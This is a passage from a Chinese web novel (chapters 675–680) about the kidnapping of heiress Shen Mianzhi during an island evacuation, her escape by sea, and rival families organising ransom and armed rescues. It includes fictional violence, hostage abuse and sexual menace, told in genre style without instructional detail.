士兵恍然回神,赶紧跟上报告,“长官,警署厅那边已经跟绑匪交火,但那些人水性极好,竟然想绕过南湾舰队偷袭金湾。警署厅的蔡厅长致电,说是岛上的学生昨夜都已经撤离到了金滩,若是让绑匪转移后果不堪设想,所以请我们务必要阻拦绑匪。” 沈归灵没什么反应,“公海舰队什么时候到?” “上级指示,一个小时后之后公海舰队从金滩登陆。” 沈归灵,“几个毛贼而已,哪用如此兴师动众?军舰目标太大,那些人不敢上船,让几个水性好的去船下看看。” “长官放心,兄弟们已经去探路了。我们是您带出来的兵,这点小场面都不用您上场。” “不用我上场?”沈归灵抬眸,面色平静,“不用我拉什么警报?” “这……”士兵也不知自己是不是出现幻觉了,莫名感觉到一股杀气,支吾道,“不是……不是您教我们的吗?不管打不打过,先拉作战警报,只要能震慑对方,就会减少人员伤亡。” 沈归灵沉默片刻,转头看向大海。 “做、得、很、好……” * 第675章 真正的局 “不愧是沈老教养出来的人,跟这些歪瓜裂枣比起来就是不一样。” 说话的男人肩膀两侧戴着金带三星袖章。 男人站在甲板之上,冷冷看着众人闹事,越是这种时候越是能看出人性。他原本打算等他们闹够了再出手,没想到竟然被一个女娃娃解决了。 见沈眠枝说到做到,转身走到队伍末端老实排队,中校十分欣赏地点了点头。 “长官,总统调令,要求我们把所有人质安全送回,其中包括三名被绑人质。” 男人皱了皱眉,指着人群里几个畏手畏脚的人影,“那几个刚刚叫得最起劲,盯仔细了,别惊动其他人。” “是,长官。” * 沈眠枝目不斜视越过人群,中途经过某道人影时脚步顿了顿,就在周围的人群因为她的出现骚动时,她又若无其事抬步往队伍末端走去。 末端队伍排到了沙滩之外,再往前一步,海浪就能打湿鞋底。 沈眠枝满腹心事,当她看着眼前一眼望不到头的长龙,忽然就明白了这些人的恐惧从何而来? 有人一步就是生路,而有人要走三千步才是别人的第一步。 忽然,她想到什么,抬眸看向重重人影。 刚刚暴动时,人群里明显有几道煽风点火的声音,这个时候故意招惹事端,怎么想都觉得行迹可疑。 衫衫给的暗示是照顾好妙妙,她的暗示从来不会错,所以当务之急是要保证苏妙安全撤离。 沈眠枝微微凝神,目光状似无意在人群里游走。 “嘟——嘟——” 公海号奏响船笛,士兵们有条不紊引导人群撤离。 余笙和苏韵也在撤离的第一梯队,一分钟不到两人安全登上了军舰。 甲板上的视线格外好,看什么都是俯视之姿。余笙看着人群末端的沈眠枝,神色复杂。 在此之前,她觉得自己已经算是女性醒悟里的佼佼者。她优秀,会用辩证的方法思考问题,她独立,清楚地知道自己想要什么,但短短几天,所有的认知都被颠覆了。 不仅仅是姜花衫,傅绥尔、沈眠枝还有苏韵,她们每一个都比她更耀眼。 “阿韵。” 余笙抬头,看着头顶辽阔的天空,忽然压抑窒息。冲突之后,她回去就搬了宿舍,曾经交往亲密的伙伴拉着她的手痛哭,求她原谅。 她不想原谅,她甚至想抽出自己的手给那个女生一巴掌,但最后,她没什么都做,只是安静地离开。 因为她忽然想到,她之所以和女生交好,是因为女生的家族在鲸港地位不俗,女生的父亲是国会左党的重要成员之一,眼下总统大选即将开始,她不能为父亲的前途埋下任何隐患。 “你说,为什么我不能和她们一样?” 像姜花衫那样,像沈眠枝那样,理论上,总统的女儿就应该这样才对。 苏韵沉默片刻,轻声道,“你问的这个问题,我也想过。” 为什么她不敢走进那道门? 像姜花衫那样,无畏地向所有人开枪。 苏韵转眸,看向余笙的瞬间眼神满是坚定,“后来,我告诉自己,我并不想成为任何人,因为她们的路我不曾走过,我的路她们也不曾来过。” “我在自己的世界艳羡别人的风景,会让我厌弃自己,我会愧疚,会责怪自己。但是……阿笙,你知道吗?这个世界上我最不想责怪的就是我自己。” “我觉得她已经很勇敢了,就算全世界厌弃我,我也不想厌弃我自己。” “弱懦也好,恶毒也罢,一切有关他们给我的定义都是人性罢了。上帝既然允许不同的人性存在,那就说明人性没有好坏,谁规定人要天生善良或者天生勇敢呢?若我已成我,我只想接受我,” 余笙微愣,湿咸的海风拂过眼睑,她眼里的眸光比海浪更汹涌。 * 沈眠枝亲眼看着傅绥尔和苏妙登上客轮后当即卸下了心中的重担,有公海舰队保驾护航,区区几个绑匪不足为虑。 队伍的挪动速度很快,所有人仿佛都接受了规则。 眼看着人群长龙半个小时不到锐减了一半,人群里的有人逐渐按耐不住。 “停,从这边开始,所有人把证件拿出来,重新审查。” “长官,为什么突然要重新审查,我们排队的时候不是已经检查过了吗?”众人肉眼可见地神情变得紧张起来。 “安静。这是上级命令,若有不配合者一律滞后登船。” 众人立马闭嘴,乖乖找证件。 人群里的几人相互使了个眼色,突然暴动,用力推开人墙转身往海面跑去。盯梢的公海士兵早有准备,立马冲出人群追击绑匪。 “天呐!竟然真的有绑匪,好险!幸好发现的及时,不然真被他们混进去咱们就全完了。” 一群墙头草立马又开始鼓吹公海士兵的行动力,一个个配合地不得了。 “你,还愣着做什么,赶紧上去,后面还有人排队等着。” 傅潇潇莫名被推了一把,压下心中的怒意,攥紧拳头一步一步拾阶而上。 傅家被鲸港排挤在外,这次撤离傅潇潇和傅文博都没有拿到特殊权,只能跟着大部队一起排队。 原本东湾的混子们还打算抱傅家大腿,见此情景,哪还有不懂的,面上虽然没有撕破脸,但行为比之从前冷落了不少。 “终于上船了,这下总算能安心了。” 傅文博如释重负,正要开怀忽然想到什么,脸色瞬间凝重,“刚刚沈眠枝是不是看见你了?她上来的时候你千万躲着点,那也是个煞星。” 傅潇潇冷笑,死死看着人群末端的少女,“那也要看看她有没有这个命。” 沈眠枝,你就等着下地狱吧。 * “糟了!糟了!” 人群末端,一个女生蹲在行李箱前,一边哭一边翻找证件。她显然已经慌了神,手忙脚乱的,连私密的内衣内裤都掀了出来,嘴里还不时喃喃自语,“我明明就放在里面的,怎么没有了?” 众人见状,没有一个搭理的,自动略过她往前顺移。 女生找了一圈无果,抬头四处求助 ,“刘海,我的证件找不到了,我们是一个班的,你能不能帮我做个证啊?” 男生勉强点头,“行啊。” 周围的同学也立马催促,“马上就轮到我们了,胡萌你赶紧收拾。” “好。” 女生抹了抹眼泪,这才发现自己的内衣内裤落了一地,她瞬间烧红了脸。可所有人都忙着逃命,根本没有人搭理她,有些人太着急直接踩着她的内衣跨了过去。 “别……” 胡萌见状又哭了起来,爬着去捡内衣。 沈眠枝犹豫片刻,走上前,蹲身捡起被踩进沙粒的内衣递给她,“不用急。” 胡萌愣了愣,满是感激,“谢谢你。” 沈眠枝点头,正要起身,胡萌忽然从行李箱里掏出一把匕首,一只勒住沈眠枝的脖子,另一只手举着尖刀抵着她的脖颈。 “别动,不然可就没命了。” …… 第676章 共创剧目,开启 “住手!!” “放下人质,不要轻举妄动!!!” “啊啊啊啊!!!” 突如其来的变故,引得众人抱头鼠窜。 准备营救的公海士兵被人群冲散,举枪准备瞄准又怕误伤,几番延误,胡萌已经拖着沈眠枝往海面走去。 人群里闪过几道黑影,迅速向胡萌集结,转眼功夫六个高矮不一的男人将胡萌团团围住,他们所有人手里都有枪,眼神凶狠不似善类。 “枝枝!!!” 傅绥尔和苏妙一直在甲板上等着沈眠枝,眼看着她被歹徒劫走,顿时脸色大变。 两人攀附在渡轮的围栏上,奋力叫着沈眠枝的名字。 沙滩的突变让所有人不寒而栗,人群也跟着尖叫起来。 傅文博心有余悸拍着胸口,“竟然还有绑匪,幸好我们上来了。” “呵~”傅潇潇眼里的笑意笼罩着一层诡异,她弯着嘴角,十分愉悦地看着沈眠枝被那群歹人拖地拽行。 为了这一天,她等了足足三年,终于,终于可以让这个贱人尝尝当初她施加在她身上的耻辱了。 那群绑匪可不是善茬,沈眠枝落在他们手里好日子才刚刚开始。 * 沙滩上,警匪两方形成对峙之势。 邱军站在众人之前,神情冷峻,“我是公海战舰中校邱军,现代表A国政府向你们发出警告,释放人质,停止进攻,不然A国政府将对此事追究到底!” “呸!老子手里的冤魂多得都数不清了,还怕你们追究个dei。”说罢,一把拽着沈眠枝,抓着她的头发挡在身前,“有本事开枪,大不了一起死。” 邱军脸色难看至极,“不要伤害人质,说出你的条件。” 为了让警方产生压迫感,男人拿枪抵着沈眠枝的下颚,“第一,我要你们A国军队滚出鲸鱼岛,第二,我要三亿赎金。一个小时之内,要是还有一个A国士兵停留在岛上,我砍她一只手,两个,我挖她一双眼。” 现在这种情况,邱军已经不能做主,但为了稳住绑匪,他立马指挥众人先回军舰。 “老子只给你们十分钟时间考虑。” 邱军给了沈眠枝一个稍安勿躁的眼神,转身上船联系总部说明情况。 大约过去七分钟,邱军独身下船与绑匪交涉,“我们立马撤军,但我们需要确认另外三名人质是否安全?” 有个鬼的另外三名,抓半天一匹毛都没捞着,要不是有人给他出了这么个主意,手里这小娘们也不好抓。 不过,这些歹徒也不傻,人质多筹码也多,该应还得应。 男人面不改色,“现在安全,但若是你们耍什么花招,那可就不一定了。” 人质果然都在他们手里。 邱军眸光飞快闪过一丝暗色,深深看了沈眠枝一眼,转身离开。 “呜————” 汽笛轰鸣,两艘巨艇如海上巨兽慢慢向海平面移动。 “枝枝……” 傅绥尔只觉手心发凉,勉强稳住心神,拿出手机给姜花衫打电话。 “嘟——” 电话刚接通,傅绥尔抢先开口,“衫衫,枝枝被绑……” “您拨打的电话暂时无法接通,请稍后再拨。” 傅绥尔神情一怔,神情僵滞。 打不通。 又是打不通? 她死死握着手里的电话,眼看着她和沈眠枝的距离越来越远。 片刻后,傅绥尔深吸了一口气,拨通了沈娇的电话,“妈妈,枝枝被绑架了……” * “石头哥!他们走了!我们先撤吧?” “等等!”被唤做石头的男人抬手制止其他几人,四处看了看,还是有些不放心,“谁知道这些狗日的会不会偷偷埋伏起来?还是小心为妙。你们几个跟我上船溜一圈。” 闻言,另外几个男凶相毕露打量起沈眠枝。 沈家人送赎金还不知道是猴年马月的事,这段时间,这小娘们可就随他们享用了。依照以前的规矩,只要不玩死,上头都是睁只眼闭只眼。 沈眠枝低着头,肩膀微微颤抖,似乎是害怕极了。 “等会儿,把她也带上,万一中途有个意外她也能有点用。” 盘算落空,男人们不免有些失望,只能看着沈眠枝跟着石头上了一艘小型游艇。 这些游艇原本是岛上居民用来拉客的,现在鲸鱼岛被清空,正好方便了这些绑匪。 游艇上四个男人,一个负责驾驶,另外两个负责放风。 石头看了一圈没看见人影,顿时安心了不少,转眼见沈眠枝楚楚可怜坐在角落,不免动了邪念,拖着她丢上船弦上缘。 另外三人见状哪有不明白,放声淫笑了起来。 沈眠枝从被抓到被胁迫,至始至终都没有反抗过。 男人抽下皮带,恶狠狠道,“别怪我没提醒你,这可是海中心,跳下去游是不可能游上岸的,下场只能是喂鱼。” “老实点,不然弄死你。” 沈眠枝瑟缩着肩膀,凌乱的刘海下,那双楚楚可怜的小鹿眼亮的惊人。 男人色欲熏心,拉下裤子猛扑了上去。 与此同时,沈眠枝拉着上缘的围杠,毫不犹豫跳下深海。 * 【叮——】 【剧目提示:沈眠枝个人剧目触发条件达成,正在为您加载剧目。】 【叮——】 【加载完成:当前剧目进度10%。】 【温馨提示:若在终章剧目审判存活,人物可斩断枷锁,重开剧目。】 浴室门缓缓打开,姜花衫赤足走过冰冷的地板,几道细细的水痕顺着莹白的小腿一路游走晕成一滩足印。 她弯腰捡起散落的衣物,一件一件重新穿好。 …… 第677章 就算沾了泥,也能镀金身 “原来如此。” 姜花衫抬手将披散的头发向后收拢,露出光洁的额头和耳垂,指尖轻轻抚平裙摆的皱褶,专注地像是在整理她的战甲。 “原来这不是屠杀门的剧情,是沈眠枝的独立剧目。” 剧目之门利用她先知的优势,故意以绑匪开篇为诱饵,为得就是干扰她的判断。 因为是共创剧情,所以她可以看见沈眠枝审判剧目的进度。 “叩叩——” 门外适时响起敲门声,片刻后,房门从外面轻轻打开。 沈归灵刚踏出一步,立马又停了下来。 姜花衫不知在想什么,正望着窗外出神。她刚洗过澡,半干的青丝盘踞在颈窝,水珠蜿蜒而下,滑过几处暧昧的红痕。 空气里除了熟悉的沐浴香气,还有一丝特殊的信号。 听见声响,姜花衫侧头看了过来,她眼尾微泛红,脸上还有几分情潮未退的风情,但湿漉漉的睫毛下,那双比黑宝石还漂亮的眸子已然没有了情动的痕迹。 这种反差让她看上去格外诱人。 “……” 沈归灵对于自己动不动就被诱惑这件事深刻反思过,是不是定力变差了?还是日子太好过松懈了?后来成了习惯,也就麻木了。 他不动声色,关门反锁,目不转睛看着她。 那眼神表面看着平静无波,深处却翻涌着近乎偏执的专注。 姜花衫顿时警铃大作,抬了抬下巴,“怎么了?” 刚刚做着那么亲密的事,现在又用这种眼神看着她,这家伙不会还想继续吧? 想都别想,衣服都穿好了。 沈归灵沉默片刻,抬步走到她面前,轻声道:“有个坏消息。” 姜花衫瞬间就联想到了刚刚的剧目提示,神情严肃,仰头看着他。 “小枝出事了,公海舰队掩护学生撤离时发生了一点意外,绑匪混进撤离人群与学生勾结,趁机绑架了小枝。” 沈归灵知道姜花衫把沈眠枝看得很重,担心她受不了,特意顿了顿,见她脸色平静才又继续说道:“他们要求A国政府撤军,并向沈家勒索三亿。” 绑架?三亿? “漂、亮!”姜花衫冷笑了一声。 进度才刚刚百分之十,就让沈眠枝独自一人面对一群穷凶极恶的绑匪,分明是没有给她留活路。 不得不说,这该死的剧目还真是打了个漂亮得翻身仗。 对剧目而言,沈眠枝是本不应该存在的角色,她和沈娇不同,沈娇是姜花衫用剧目之笔救下的,沈眠枝是自己闯出来的,所以剧目之门一定会用尽各种手段抹杀她。 而姜花衫又因为先入为主误判了剧情,导致开局就和沈眠枝分开,这次的剧目,她千算万算还是失了先手。 不过…… 姜花衫缓缓抬眸,眼里混沌顷刻沉淀。 一个能让剧目之门百般忌惮重开新篇的人,就算失了先手又怎样? 她相信沈眠枝,这样的人绝不可能败在这百分之十的进度上。 * “哗啦——” 坠海的窒息感让沈眠枝气血倒灌,但很快她就调整回来,迅速转身往水下游去。 “石头哥!!她跳下来去了怎么办?” 游艇的三人原本还打算等男人享用完捡个便宜,万万没想到这小丫头看着弱不禁风,竟然这么豁得出去。 “小贱人,敬酒不吃吃罚酒!” 石头脸色更加难看,一把甩下脸上的海水,捞起裤子骂道,“站着干什么?还不快去抓?” 三人相互看了看,略有些犹豫。 越是海匪越是敬畏大海,他们现在已经到了海面深处,鲸鱼岛深海一直都不太平,经常会有鲨鱼群和食人鲸,就算是老渔民也不敢冒险。 男人见状气不打一处来,对着其中一个矮子踹了过去,“她可价值三个亿,煮熟的鸭子要是飞走了,咱们谁都别想活。” 三人脸色微变,立马跳进海里。 长期与大海打交道,他们水性都不错,但大海茫茫要找一个人谈何容易,三人只能分散寻找。 “艹你大爷的,别让老子逮着你,不然弄死你。”石头咬牙切齿,用力抽空游艇的发动机,沿着海面四处寻找线索。 * 与此同时,鲸港。 首脑大会还在继续。 因为周家突然退出票选环节,局势一面倒向沈家,军部改制的提案也被完全压制。 眼看情势大好,沈庄忽然起身,“诸位,沈某身体不适,暂请离席。” “沈老……” 苏敬琉被打得措手不及,起身正要问明缘由,沈庄大步流星,头也不回已经出了会议室。 “……这……这是怎么了?” 众人一头雾水,全部懵在原地。 沈庄出了会议室,立马进入专属电梯直升顶层,郑松亦步亦趋紧紧跟随其后。 顶楼平台,一架黑色直升机早已恭候多时。 舱门打开,沈让探出身,躬身搀扶沈庄上机。 沈庄落座后,转头打量沈让,见他眼里满是血丝,轻轻拍了拍他的肩膀,“放心,不管付出什么代价,沈家都不会让枝枝有事。钱准备好了?” 沈让点头,“阿娇已经准备好了。” 三亿现金不是小数目,沈娇毫不吝啬足见对沈眠枝有多看重。 “光有钱还不行。” “老爷子放心,已经安排人上岛了。” 政府军方目标太大,很容易引起绑匪的注意,既然绑匪的坐标已经锁定,最好的方法就是黑吃黑,所以沈让这次将沈家暗堂的精锐都派了出去,谁能救下大小姐,以后荣华富贵享之不尽。 “只不过……”沈让眸色阴暗,隐隐压着怒火,“枝枝是被当众掳走的,悠悠众口怕是堵不住。” 那些绑匪素有恶名,沈眠枝落在他们手里,就算以后救回来只怕名声也不好听,虽说现在已经不是旧时代,但有些偏见恶疾始终不曾根治。 尤其沈眠枝还是沈家的嫡系小姐,她的一言一行一定会被放大,怕就怕人救回来了,枷锁还在。 “堵什么?”沈庄眼睑轻抬,眼底蓄着与往日截然不同的厉色。 “她是我沈庄的孙女,是我沈家的千金,就算沾了泥,沈家也能帮她镀上金身,人活着,比什么都重要!” …… 第678章 荒滩陷阱 暮色沉降。 海面绷紧成一块巨大的、无光的铁灰色钢板。 “哗啦——” 平静海面忽然被撕开一道裂口,但见一道单薄的身影从海底钻出。 沈眠枝吁吁喘着粗气,湿透的黑发紧贴着头颅,冰冷的水帘从她脸上、颈上急速剥落。 空气猝不及防地灌入肺腑,带着刀刃般的凉意和咸腥。 她低头看着自己肿胀得不成像的双手,拖着像是被灌满铅的双腿一步一步向海面走去。 她不知道自己在海里游了多久,只知道自己不能停,几度坚持不下去的时候又靠着这股顽强的毅力撑到了最后。 所幸上天还是眷顾她的,终于她感觉脚下的礁石越来越浅,凭着直觉牵引游到了浅滩。 鲸鱼岛四面环海,联盟活动的方位属于开采过的商业区,还有几个处沙滩是未经开发的荒滩。 沈眠枝看着眼前杂乱的礁石、植被,心知自己是误打误撞游到了荒滩。 在岸上潜伏了片刻,确定没有人迹后,她才慢慢往红树林深处走去。 眼下绑匪都集中在商业区,就算他们想来抓她也需要一段时间,如果一直在岸上很容易引起绑匪的注意,所以即便知道丛林危险,她也必须要进去。 为了方便逃跑,她在落水的一瞬间就踢掉了鞋子,赤脚行走在枯枝淤泥里,稍有不注意便会划出一道伤口。 夜色越来越沉,越往深处,光线越暗。 不能再往下走了。 沈眠枝十分警惕环顾四周,她刚刚在来的路上看见有动物的脚印,以她现在的体力,再往里面说不定就危险了。 沈家已经知道她被绑架,爷爷和父亲一定会第一时间做出反应,如果不出意外,沈家暗卫今晚应该就会有所行动。 他们不知道她逃到了荒滩,一定会先去商业区与绑匪交火,以暗卫的实力最快几个小时就能端了绑匪的窝。若是他们发现她不在商业区,一定会调动所有力量搜捕海上和荒滩。 鲸鱼岛大大小小的荒滩加起来不超过二十处,只要她耐心等上几天,就一定能获救。 所以,她现在最应该做的就是找个地方藏起来,保存体力。 沈眠枝打定主意,趁着还有些余光,慢慢向地势开阔处转移。 她小心翼翼,慢慢前进,不料,刚转过一棵苍天老树,眼前忽然窜出一道黑影。 “呼噜—呼噜——” 沈眠枝定睛一看竟然是头鬃毛野猪,吓得心跳如麻。 这种凶兽极具攻击性,万一被撞上有可能性命不保。 沈眠枝不敢大意,当即拔腿就跑。不想刚绕过大树,脚底突然弹出一根藤绳,她来不及反应就被重重牵绊倒地。 “呼噜——” 眼看野猪对着她飞身扑了过来,沈眠枝下意识捂着头往旁边滚去。 但,臆想之中攻击并未落下。 沈眠枝愣了愣,狼狈爬起身,而野猪在她一步之外的距离扑腾着身子,怒气冲冲瞪着她。沈眠枝这才发现,这只野猪脖子上绑了一根藤绳。 她忽然想到什么,转头看向刚刚身后。 “陷阱?” 这藤绳明显不是天然产物,有人在这布下了陷阱,她刚刚就是被那人布下的陷阱绊倒的。 这岛上有人?! 意识到这点,沈眠枝只觉一股寒意从头顶灌下。 “嚓——” 突然,一声极其细微、却异常刺耳的金属刮擦声陡然打破了死寂—— 黑暗中,几颗微小到几乎看不见的橙红色火星在绝对的漆黑里迸溅而出,明灭的瞬间燃起一簇橘黄色的火苗。 跳跃的火苗勾勒出一道深邃优越的轮廓,那人撩着眼睑,眸光明灭滟潋,似笑非笑,“是你?” * “啪——啪——” 之前还威风凛凛的四人如今像狗一样趴在地上,铁艺桌脚生生被打折都不敢吭声求饶。 “三个亿你们就这么让她跑了,我看你们是活腻歪了!” 为首的男人一只脚踩在石头的肩膀上,眼神狠厉,“去给老子找,找不到你们知道下场。” 四人被打的浑身是血,颤颤巍巍爬出了餐厅。 “石头哥,怎么办?那贱人跳海,说不定现在都已经喂了鲨鱼,还怎么找?” “真是TM的倒霉,这次上岛什么好处都没捞着,还惊动了A国海舰队,早知道就该跟着海老大去云乡,也不至于把命搭上。” 石头脸色微变,对着说话的男人一脚踹去。 被教训的男人立马噤声,狼狈爬了起来。 另外两人立马上前拉住石头,“石头哥,鸭子说的也没错,这个瘪老三,仗着自己跟海老大有些交情作威作福,什么好处都自己占着,脏活累活全丢给我们。那贱人落水的地方根本游不上岸,我们在水下找了这么久不见踪影八成是没命了。咱们手里就这么一个人质,现在人质没了,再耗下去也是死路。” “是啊石头哥,反正都是死,咱们干脆另谋出路算了,三个亿啊,海老大肯定不会放过我们的。” 石头想了想,咬牙道,“待会儿鸭子你开潜艇,趁着找人的功夫咱们赶紧溜。” * 另一边,餐厅里的土匪们兴致高涨,喝的喝酒打的打牌。 瘪老三手气正好,赢得红光满面。 胡萌见状,看准时间小心翼翼走上前,“瘪哥,你们要我做的事,我已经做完了,麻烦你安排人送我出去。” 瘪老三甩下牌,摸了摸下巴,一脸淫相,“出去?进来了你还想出去?哈哈哈哈,你们告诉她,她出不出得去?” 说着,一把捞过胡萌,当众撕扯她的衣裳。 胡萌脸色骤变,吓得浑身瑟缩,“瘪哥,你这是什么意思?我是傅小姐的人,你不能这么对我!” “什么负小姐正小姐,进了老子的地盘都得乖乖趴着给我当小姐。你这模样是次了点,不过打打牙祭也是可以的,哈哈哈哈……” “不要!求求你们……” 胡萌面露绝望,眼睁睁看着自己被至暗吞没。 …… 第679章 关鹤的命 夜色像浸透了墨的绒布,沉沉压在海面。 灯塔的光柱在海面上盲目切割,短暂照亮嶙峋礁石和翻涌的黑色浪涛。 千米之外,一道黑影潜伏在冰冷礁石后。 “目标确认。风向西南,三级。修正角,零点三。” “砰——” 一声极轻的震动破空而出。 灯塔顶端的身影顿时像断了线的木偶,悄无声息地栽向黑暗。 几乎是一瞬间,几十道黑影从浓墨的海里窜了出来。 “目标是珊瑚滩中心餐厅,大家分头行动。” 话音一落,几十道黑影立马四散开来。 * 某处未经开发的浅水湾。 “唔唔——” 关鹤半个身子浸泡在海里,头上罩了个黑色麻布袋,此时的他就像条砧板上鱼奋力挣扎却不得动弹。 海水刺骨,迄今为止,他已经在海里泡了近乎两天,人都已经腌入味了。 这两天,关少爷度过了他人生中最至暗的难捱时刻。 “姜……唔唔花衫……,呜呜呜,姑奶奶……唔唔……活祖宗……老子认输……认输……” 一开始,关鹤还很自信,他料定姜花衫不过是吓唬他,根本不敢下毒手,被抓的一个小时嘴里还骂骂咧咧。 后来被毒打了一顿,立马就老实了。 但让他万万没想到的是,他就这么被泡了两天,中途再没有人来虐待他。 首先是饥饿,饥肠辘辘带来的不仅是身体的虚弱。 其次是毒打,溃烂的伤口每日浸泡在海水里,无时无刻不是在往伤口上撒盐。 但最最让他感到恐惧还是突然的安静,除了滔滔不绝的海浪声,周围静的可怕。 “突突突——” 突然,耳边传来电动马达的抽搐声。 “唔唔……我……唔唔……” 关鹤眼底爆发出一丝幽光,猛然抬起头,踮着脚尖用力摆动身体。 因为四肢被绑,目不能视,他根本看不清眼前是个什么东西,一心只以为姜花衫得恶作剧结束了,发现终于放他回去了。 “老大,前面好像有个人。” 逃跑四人组为免引起瘪老三的注意,刻意坐着游艇绕道荒滩,原本想赶紧溜之大吉,没想到竟然遇见了被绑在浅滩的关鹤。 四人担心有诈,没敢靠近,观察了许久发现泡在海里的黑影是被绑在礁石上的,这才放下了警惕。 两人翻身下船,割破了绑在礁石上的尼龙绳,像拎死狗一样把关鹤拖上了游艇。 关鹤还不知道自己即将面对什么,一心以为面前的人是姜花衫,费力拱起腰身想站起身。 谁知,他才撑起一只膝盖,就被人踹翻在地,砰的一声巨响,头部重重砸向甲板。 姜花衫这狗日的,竟然真的要杀他?! 关鹤眼眸微缩,脑子嗡得一下空白。 头上的伤口慢慢渗血,沿着脸颊一滴一滴落下,两天没日没夜的折磨已经耗尽了他所有的体力。 没等关鹤反应过来,罩在头上的麻袋忽然抽空,湿咸的海风迎面灌进鼻腔。 关鹤意识仍有些涣散,大脑重创再加上鲜血遮目,他隐约只能看见几道黑影在面前晃动。 恍惚中,似乎有人抓住了他的头,拎起的瞬间又砸了回去。 鸭子一脸兴奋,“石头哥,咱们发财了,这小子可是肥羊。” 绑匪潜入鲸鱼岛前三天之所以没有马上动手,就是在调查学生背景,找出那些值钱的肉票。 关鹤在珊瑚滩作威作福,美人环绕,十足的肥羊,是故这些绑匪一眼就认出了他。 石头顿时眼前一亮,拽着关鹤的头发盯着他的脸打量了许久,片刻后,仰头大笑了起来。 “哈哈哈哈,还真是肥羊。” 有了这个肥羊,他们倒也不用急着逃命了。 “石头哥,咱们现在怎么办?瘪老三可不是好鸟,人要送回去他一定会跟海老大邀功,到时候咱们还是一根毛都捞不着。” 石头欣喜过望,被提醒后立马冷静下来,用力甩下关鹤,“你们是什么意思?” 其余三人相互看了看,眼神凶狠,“这小子的来历不凡,不如咱们先下手为强,捞他一笔?” 石头微微眯眼,略有些犹豫,“这要是让海老大知道……” “石头哥,咱们拿了钱就去云乡,海老大就认钱,有了钱他还能说什么?” 石头一听,豁然开朗,蹲下身用力拍打着关鹤的脸,“小子,遇上爷爷算你运气不好。” …… 第680章 恍恍惚惚的遗言 鲸港,周宅。 主厅气氛异常压抑,周国潮坐在主位,神情冷峻一言不发。 周夫人蜷缩在沙发一角,身体无法控制地微微痉挛,虽然她极力隐忍着,但还是隐约能听见断断续续的呜咽声。 周元正守在电话旁,抬眸看了周老爷子一眼,轻轻拍了拍周夫人的肩膀,“你也累了,先回房休息吧,放心,阿珩不会有事的。” 周夫人蕙质兰心,一眼便看出了丈夫的顾忌。 她向来不插手家族正事,若是平时,丈夫这般提醒她早就请辞了,但现在事关她儿子的生死,所以即便知道不合规矩,她也还是摇了摇头没有顺从。 周元正又看了周国潮一眼,见老爷子没有发话便也没有坚持。 “爸!大哥!!” 周元义脚步匆匆跨入主厅,“钱我都准备好了,咱们随时可以去岛上赎人了。” 他是周家的钱袋子,周宴珩出事赎金自然由他解决,周元义也给力,不到一天就筹到了五个亿的现金。 周夫人眼睛一亮, 目光殷切看向丈夫。 周元正略带安抚拍了拍她的手背,示意她稍安勿躁,随即转头看向周国潮,“父亲?” 绑匪留下的纸条要求他们把现金密封在集装木箱里,然后去规定地点投放木箱,只要钱到位便会释放人质。 但现在有个问题,绑匪并非是一手交钱一手交人,而是先钱后人,这就有可能存在人财两空,或者再次被勒索的可能。 周国潮细细摩挲着手里的极品天珠,眸光思量不定。 周宴珩是周家未来的命脉不容有失,他现在的每一个决策都至关重要。 “老爷子。” 这时,周管家突然闯入客厅,忙不迭小跑上前传话,“关部长来了。” 周国潮眸光微凝,几乎没有犹豫沉声道,“请进来。” 周宴珩被绑架的消息鲸港都已经传开了,关鹤同样身陷囹圄,两家都是焦头烂额,关楼这个时候找上门一定不寻常。 少顷,关鹤被请进主厅。 他也不废话,入厅便道出来意,“老爷子,阿鹤阿珩如今都落在绑匪手里,绑匪野心勃勃,这已经不是周关两家的祸事了,我思想来去觉得单打独斗万万不行,咱们两家必须合力退敌。” 周国潮,“听关部长的意思,阿鹤是确定落在绑匪手里了?” 与周宴珩不同,关鹤消失之后绑匪并没有散布任何线索,所以他的行踪迄今为止都是迷。 关楼脸色极其难看,拿出事先准备好的影像递给周国潮。 “这群天杀的蝼蚁,我关家绝对不会放过他们。” 视频里,关鹤被吊在海水里拖行,四个带着脸色面罩的悍匪时不时按压着他的头将他掼进海面,直至关鹤挣扎无力才又拽出水面。 关楼老来得子把这儿子当祖宗一样供着,现今这群蝼蚁竟然如此虐待关鹤,关楼恨不得将他们碎尸万段。 周国潮脸色也没好到哪里去,这些人如此凶残,只怕他的孙子也没好到哪里去。 关楼,“老爷子,这些人可不是善茬,要救人可不能指望贼人有道义,还得靠我们自己。” 周国潮闭了闭眼,思忖片刻,拿起一旁的电话,轻车熟路按下一串号码。 很快,电话接通。 周国潮放缓了语气,态度谦和,“沈老……” 沈眠枝被当众掳走,公海舰队还没入港,消息就已经传开了。 沈庄最是护短,沈家不可能毫无作为,既然眼下大家目标一致,合作才能共赢。 * 一个小时后。 鲸鱼岛某处的潜水湾。 石头未免被瘪老三的人发现行踪,暂时把游艇开上了岸。 “老大,关家那边有消息了吗?” 为了防瘪老三察觉,四人决定速战速决,当即拍下虐待关鹤的视频勒索钱财,而关鹤原本就体力不支,一番折腾已经奄奄一息。 鸭子迟迟没等到消息不免有些着急,踹了踹关鹤的肩膀,“这小子看着不行了,倒是省得我们动手了。” 石头,“等拿了钱,把尸体丢给瘪老三,到时候关家要算账也只会记他头上。” 话音刚落,手机立马收到一条消息,石头点开一看,顿时笑得合不拢嘴。 “哈哈哈,成了!兄弟们,等着收钱。” 其余三人两眼放光,激动的手舞足蹈。 “五亿?这就同意了?!他奶奶的,海老大说的果然没错,还是鲸港这些老爷们有钱,咱们辛辛苦苦绑了那么多人,加起来也就三亿,结果这小子一个人就干回本了!” 关鹤垂眯着眼,迷迷糊糊听着这些人商量着如何卷钱跑路,如何杀人嫁祸,得知自己的死期快到了,他忍不住想嚎啕大哭。 早知道他要英年早逝,前几天风流的时候就不该用套,以他的能力,一定能给他们老关家留个种。 哎,也不知道,老头子现在努力还来不来得及? 他浑浑噩噩低速运转着大脑,全然没发现周围的空气已经变了风向。 手机屏幕在夜色中散发着微弱的光芒,突然,鲜红的血水滴落在屏幕上遮住了少许微光。 男人来不及眨眼,身体笔直倒下。 “老大!” 突然的变故吓坏了另外三人,没等他们反应过来,三人眉心同时爆空。 关鹤完全没有察觉异样,只感觉脸颊被什么烫了一下,神情麻木翻过身。 一群穿着迷彩服的身影上岸,确认四个绑匪全部被击毙后,弯腰捡起地上泛着红光的手机。 为首的暗卫拿起手机直接回拨了过去。 “五爷,目标锁定,四个绑匪已经全部击毙,人质安全。” 